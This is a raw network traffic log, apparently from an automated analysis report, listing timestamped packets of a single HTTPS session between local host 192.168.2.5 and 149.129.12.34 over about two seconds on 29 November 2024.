Nov 29, 2024 15:45:10.622349024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.622358084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.622400999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.625469923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.761048079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.761080980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.761188030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.761199951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.761245966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.765938997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.765974998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.766040087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.766047001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.766089916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.771596909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.771621943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.771692038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.771699905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.771739006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.777004957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.777029037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.777081966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.777090073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.777142048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.781924009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.781949043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.782007933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.782016039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.782083988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.787712097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.787743092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.787801027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.787811995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.787851095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.792542934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.792567015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.792603970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.792610884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.792638063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.792656898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.832463980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.832490921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.832556963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.832565069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.832606077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.972362995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.972397089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.972511053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.972524881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.972565889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.977186918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.977210045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.977289915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.977298975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.977340937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.982709885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.982734919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.982821941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.982830048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.982872963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.988240004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.988274097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.988338947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.988347054 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.988396883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.993129015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.993154049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.993237019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.993252039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.993290901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.999006987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.999030113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.999094009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:10.999102116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:10.999145031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.003911018 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.003933907 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.004472017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.004479885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.004528999 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.007759094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.049165964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.049200058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.049248934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.049261093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.049289942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.049305916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.183012962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.183039904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.183084965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.183095932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.183124065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.183135986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.187745094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.187764883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.187800884 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.187805891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.187829971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.187845945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.193344116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.193362951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.193438053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.193444014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.193483114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.198898077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.198918104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.198965073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.198970079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.198988914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.199008942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.203780890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.203802109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.203865051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.203872919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.203912020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.209600925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.209621906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.209693909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.209716082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.209767103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.214489937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.214510918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.214566946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.214576006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.214621067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.259972095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.260019064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.260130882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.260139942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.260184050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.394004107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.394035101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.394092083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.394102097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.394133091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.394151926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.398794889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.398822069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.398863077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.398870945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.398901939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.398920059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.404289961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.404310942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.404350042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.404356956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.404391050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.404401064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.409743071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.409765005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.409821033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.409826994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.409841061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.409868002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.415327072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.415348053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.415385008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.415390968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.415442944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.416619062 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.420491934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.420515060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.420557022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.420563936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.420597076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.420610905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.425465107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.425492048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.425535917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.425543070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.425580978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.425604105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.428528070 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.475752115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.475778103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.475860119 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.475869894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.475915909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.604438066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.604468107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.604621887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.604635954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.604677916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.609970093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.609989882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.610047102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.610055923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.610102892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.614886999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.614908934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.614964008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.614972115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.615001917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.615009069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.620351076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.620371103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.620434046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.620441914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.620480061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.625941038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.625963926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.626066923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.626075029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.626116991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.631131887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.631154060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.631196022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.631202936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.631230116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.631244898 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.636646032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.636666059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.636704922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.636712074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.636744022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.636790991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.685833931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.685858965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.686039925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.686052084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.686106920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.814889908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.814922094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.815062046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.815080881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.815121889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.820333004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.820354939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.820398092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.820405006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.820431948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.820451021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.825946093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.825965881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.826011896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.826020956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.826044083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.826087952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.830805063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.830826044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.830879927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.830888033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.830926895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.836602926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.836622953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.836675882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.836684942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.836699963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.836719036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.841908932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.841929913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.841993093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.842003107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.842039108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.847146988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.847167969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.847230911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.847240925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.847280025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.896914005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.896938086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.897032976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:11.897067070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:11.897111893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.123816013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.123831034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.123873949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.123971939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.124001026 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.124032021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.124052048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.129232883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.129252911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.129316092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.129323959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.129370928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.134808064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.134830952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.134871960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.134880066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.134902000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.134917021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.139722109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.139744043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.139780998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.139789104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.139812946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.139827967 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.145314932 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.145343065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.145371914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.145379066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.145405054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.145422935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.150569916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.150597095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.150629997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.150638103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.150661945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.150676012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.155944109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.155970097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.156008959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.156018019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.156052113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.156059980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.161501884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.161523104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.161578894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.161587954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.161632061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.334673882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.334702969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.334841013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.334872007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.334919930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.340174913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.340195894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.340253115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.340260983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.340306044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.345026016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.345046997 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.345108986 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.345129967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.345179081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.350739002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.350760937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.350831985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.350843906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.350892067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.356089115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.356108904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.356177092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.356187105 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.356234074 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.361421108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.361442089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:12.361545086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:12.361572981 CET	443	49704	149.129.12.34	192.168.2.5
